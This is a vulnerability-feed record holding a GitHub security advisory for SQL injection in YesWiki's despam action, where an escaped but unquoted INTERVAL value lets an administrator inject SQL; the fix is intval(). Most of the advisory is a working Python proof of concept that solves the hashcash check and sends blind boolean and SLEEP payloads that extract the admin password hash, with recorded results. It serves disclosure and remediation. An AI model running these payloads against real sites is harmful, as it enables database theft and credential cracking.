{"schema":"threatline.record/2","record":{"id":"GHSA-w7cp-76pj-w4m5","aliases":["GHSA-w7cp-76pj-w4m5"],"summary":"SQL injection in the despam action via an unquoted INTERVAL operand","details":"# SQL injection in `despam.php` via an unquoted `INTERVAL` operand\r\n\r\n### Summary\r\n\r\n`tools/security/actions/despam.php:55` escapes its input and then places it in an\r\n**unquoted** SQL position. `mysqli_real_escape_string` neutralises quotes; it does\r\nnothing about parentheses, keywords or comment markers, which is all this position\r\nneeds. Requires an administrator.\r\n\r\nThe value **is** escaped — that is the point. Escaping is the wrong tool here; the\r\nfix is a cast.\r\n\r\n### Details\r\n\r\n    where time > date_sub(now(), interval '\r\n          . DbService::escape($_POST['from']) . \" hour)\r\n          and latest = 'Y'\r\n\r\n`DbService::escape()` is `mysqli_real_escape_string()`. Recorded statement:\r\n\r\n    interval 744 hour) AND (ASCII(SUBSTRING(\r\n        (select password from yeswiki_users limit 1),1,1))>57) --  hour)\r\n\r\nRemediation — it is an interval count:\r\n\r\n    interval ' . intval($_POST['from']) . \" hour)\r\n\r\n**One correction to a claim you may see elsewhere:** the `-- ` comment does *not*\r\nremove the `and latest = 'Y'` guard. That clause is on the next line of a\r\nmulti-line statement, so the comment only reaches the end of its own line.\r\n\r\n### PoC\r\n\r\nSelf-contained, verbatim below. **Self-verifying over HTTP** — the result table\r\nrenders one `<input name=\"suppr[]\">` per matching page, so the row count is the\r\noracle. No query-log access needed.\r\n\r\n    #!/usr/bin/env python3\r\n    \"\"\"YesWiki - SQL injection via an unquoted INTERVAL operand (MB-2026-009).\r\n\r\n        https://github.com/YesWiki/yeswiki\r\n        tools/security/actions/despam.php:55\r\n\r\n            where time > date_sub(now(), interval '\r\n                  . DbService::escape($_POST['from']) . \" hour)\r\n                  and latest = 'Y'\r\n\r\n    DbService::escape() is mysqli_real_escape_string(). It neutralises quotes and does\r\n    nothing to parentheses, keywords or comment markers, and this unquoted numeric\r\n    position needs none of those. The fix is intval(), not escaping.\r\n\r\n    AUTH: administrator. despam.php is gated on UserIsAdmin() at line 23.\r\n\r\n    REACHABILITY: YesWiki actions run from page content, and YesWiki's own admin\r\n    documentation (docs/fr/admin.md, \"Que faire si vous avez du spam ?\") tells an\r\n    administrator fighting spam to use the {{despam}} action. This script creates that\r\n    page, then submits its form. The second gate is $_POST['2'], the form's own submit\r\n    button.\r\n\r\n    The page save is gated on YesWiki's hashcash antispam (use_hashcash defaults to\r\n    true in tools/security/config.yaml). solve_hashcash() below does what the browser\r\n    does, without a JS engine: tools/security/wp-hashcash-getkey.php returns 32-bit\r\n    words XORed with a key that decode to a function returning cache/hashcash.key, and\r\n    `$type = rand(0,3) * 0` is always 0, so that function is always a chain of\r\n    additions.\r\n\r\n    SELF-VERIFYING over HTTP: the result table lists one checkbox per matching page, so\r\n    the row count is a boolean oracle. No query log needed.\r\n\r\n    READ-ONLY as run here -- the payloads only affect the SELECT that lists candidate\r\n    pages. Do NOT then submit the deletion form.\r\n\r\n    Usage:  ./yeswiki-despam-interval-sqli.py BASE_URL USER PASSWORD [page_name]\r\n    \"\"\"\r\n    import http.cookiejar\r\n    import re\r\n    import sys\r\n    import time\r\n    import urllib.error\r\n    import urllib.parse\r\n    import urllib.request\r\n\r\n\r\n    def make_client():\r\n        jar = http.cookiejar.CookieJar()\r\n        return urllib.request.build_opener(urllib.request.HTTPCookieProcessor(jar))\r\n\r\n\r\n    def go(cl, base, path, post=None):\r\n        data = urllib.parse.urlencode(post).encode() if post else None\r\n        headers = {\"User-Agent\": \"poc/1.0\"}\r\n        if post:\r\n            headers[\"Content-Type\"] = \"application/x-www-form-urlencoded\"\r\n        req = urllib.request.Request(base + path, data=data, headers=headers)\r\n        t0 = time.time()\r\n        try:\r\n            with cl.open(req, timeout=300) as r:\r\n                return time.time() - t0, r.getcode(), r.read().decode(\"utf-8\", \"replace\")\r\n        except urllib.error.HTTPError as e:\r\n            return time.time() - t0, e.code, e.read().decode(\"utf-8\", \"replace\")\r\n\r\n\r\n    def solve_hashcash(base):\r\n        \"\"\"Return the value of cache/hashcash.key, as the browser computes it.\"\"\"\r\n        url = base + \"/tools/security/wp-hashcash-getkey.php\"\r\n        req = urllib.request.Request(url, headers={\"User-Agent\": \"poc/1.0\"})\r\n        js = urllib.request.urlopen(req, timeout=60).read().decode(\"latin-1\")\r\n\r\n        words = [(int(a), int(k))\r\n                 for a, k in re.findall(r\"\\[\\d+\\] = (-?\\d+) \\^ (-?\\d+);\", js)]\r\n        if not words:\r\n            raise SystemExit(\"hashcash: no payload in wp-hashcash-getkey.php output\")\r\n\r\n        chunks = []\r\n        for value, key in words:\r\n            w = (value ^ key) & 0xFFFFFFFF\r\n            chunks.append(bytes((w >> s) & 0xFF for s in (0, 8, 16, 24)))\r\n        inner = b\"\".join(chunks).decode(\"latin-1\")\r\n\r\n        m = re.search(r\"var (\\w+) = (\\d+); ((?:\\1 \\+= \\d+; )+)return \\1;\", inner)\r\n        if not m:\r\n            raise SystemExit(\"hashcash: unexpected form: \" + inner[:200])\r\n        return int(m.group(2)) + sum(int(n) for n in re.findall(r\"\\+= (\\d+);\", m.group(3)))\r\n\r\n\r\n    def main():\r\n        base = sys.argv[1].rstrip(\"/\")\r\n        user, passwd = sys.argv[2], sys.argv[3]\r\n        page = sys.argv[4] if len(sys.argv) > 4 else \"DeSpamAudit\"\r\n\r\n        cl = make_client()\r\n        go(cl, base, \"/?PageLogin\")\r\n        _, code, body = go(cl, base, \"/?PageLogin\", {\r\n            \"action\": \"login\", \"name\": user, \"password\": passwd,\r\n            \"remember\": \"1\", \"submit\": \"Connexion\"})\r\n        if \"Déconnexion\" not in body and \"Deconnexion\" not in body:\r\n            print(f\"[auth] FAILED http={code}\")\r\n            return 1\r\n        print(f\"[auth] http={code} as {user}\")\r\n\r\n        hashcash = solve_hashcash(base)\r\n        go(cl, base, f\"/?{page}/edit\", {\r\n            \"body\": \"{{despam}}\", \"submit\": \"Sauver\", \"previous\": \"\",\r\n            \"pagetags\": \"\", \"antispam\": \"0\", \"hashcash_value\": str(hashcash)})\r\n        _, _, rendered = go(cl, base, f\"/?{page}\")\r\n        if 'name=\"selection\"' not in rendered:\r\n            print(f\"[page] {page} does not render the despam form; stopping\")\r\n            return 1\r\n        print(f\"[page] {page} created (hashcash={hashcash})\")\r\n\r\n        def fire(label, value):\r\n            dt, code, body = go(cl, base, f\"/?{page}\", {\"from\": value, \"2\": \"Valider\"})\r\n            rows = len(re.findall(r'name=\"suppr\\[\\]\"', body))\r\n            print(f\"  {label:<20s} {dt:6.2f}s http={code} rows={rows}\")\r\n            return rows\r\n\r\n        # the intended query: pages changed in the last 744 hours\r\n        fire(\"744 (intended)\", \"744\")\r\n        # same window, attacker boolean appended. The escaper sees no quote to escape.\r\n        # expect: interval 744 hour) OR (1=1) --  hour)\r\n        fire(\"744 OR (1=1)\", \"744 hour) OR (1=1) -- \")\r\n        fire(\"744 AND (1=2)\", \"744 hour) AND (1=2) -- \")\r\n\r\n        # Blind read of a value the page never shows: the administrator's password hash.\r\n        # YesWiki stores it as md5 in a varchar(32), so each character is one hex digit.\r\n        oracle = (\"744 hour) AND (ASCII(SUBSTRING(\"\r\n                  \"(select password from yeswiki_users limit 1),1,1))>{n}) -- \")\r\n        for n in (47, 55, 56, 57, 70):\r\n            fire(f\"md5[1] > {n}\", oracle.format(n=n))\r\n\r\n        # Timing works too, but SLEEP runs per examined row, so keep the value small.\r\n        fire(\"SLEEP(0.05)/row\", \"744 hour) AND SLEEP(0.05)=0 -- \")\r\n        fire(\"SLEEP(0)/row\", \"744 hour) AND SLEEP(0)=0 -- \")\r\n\r\n        print()\r\n        print(\"A row count that follows the injected boolean is the injection.\")\r\n        print(\"NOTE: `-- ` does NOT remove the `and latest = 'Y'` guard; that clause\")\r\n        print(\"sits on the NEXT LINE of a multi-line statement, so the comment only\")\r\n        print(\"reaches the end of its own line.\")\r\n        return 0\r\n\r\n\r\n    if __name__ == \"__main__\":\r\n        sys.exit(main())\r\n\r\nObserved:\r\n\r\n    744 (intended)         rows=68\r\n    744 OR (1=1)           rows=68\r\n    744 AND (1=2)          rows=0\r\n    md5[1] > 47            rows=68    TRUE\r\n    md5[1] > 55            rows=68    TRUE\r\n    md5[1] > 56            rows=0     FALSE\r\n    md5[1] > 70            rows=0     FALSE\r\n    SLEEP(0.05)/row        3.58s  (vs 0.12s for SLEEP(0))\r\n\r\nThe boundary lands exactly on `ASCII('8') = 56`. Read-only as run — do **not** then\r\nsubmit the deletion form on the same page.\r\n\r\nVerified at `doryphore-dev` HEAD (`15f9685be89a`).\r\n\r\n### Impact\r\n\r\nCWE-89 at administrator privilege. Blind arbitrary read of the wiki database,\r\nincluding `yeswiki_users.password` — the same escalation CVE-2026-46670 already\r\nestablishes for a YesWiki SQL injection.\r\n\r\nNote this is a **different shape** from your four published SQLi CVEs, all of\r\nwhich are plain concatenation with no sanitisation. Here the value is escaped and\r\nthe escaping is simply inapplicable to the position, so a sweep for\r\nmissing-escape bugs will not find it. It is closer to the two 2026-09-01\r\nadvisories described as \"backslash-escape breakout\".","categories":["Unclassified"],"product":"yeswiki/yeswiki","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/YesWiki/yeswiki/security/advisories/GHSA-w7cp-76pj-w4m5","source_modified_at":"2026-10-12T10:19:04Z","fetched_at":"2026-10-28T08:18:35.509402Z","package":{"ecosystem":"composer","name":"yeswiki/yeswiki"},"range":"< 4.7.0"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/YesWiki/yeswiki/security/advisories/GHSA-w7cp-76pj-w4m5","source_modified_at":"2026-10-12T10:19:04Z","fetched_at":"2026-10-28T08:18:35.509402Z","package":{"ecosystem":"composer","name":"yeswiki/yeswiki"},"version":"4.7.0"}],"cvss":4.9,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-12T10:19:04Z","modified_at":"2026-10-12T10:19:04Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/YesWiki/yeswiki/security/advisories/GHSA-w7cp-76pj-w4m5","fetched_at":"2026-10-28T08:18:35.509402Z","source_modified_at":"2026-10-12T10:19:04Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-12T10:19:04Z","content_hash":"d1bbe7888426809faec33240680db2e1efa5b9f766e48ff7f9988a32b2f8117e"}}
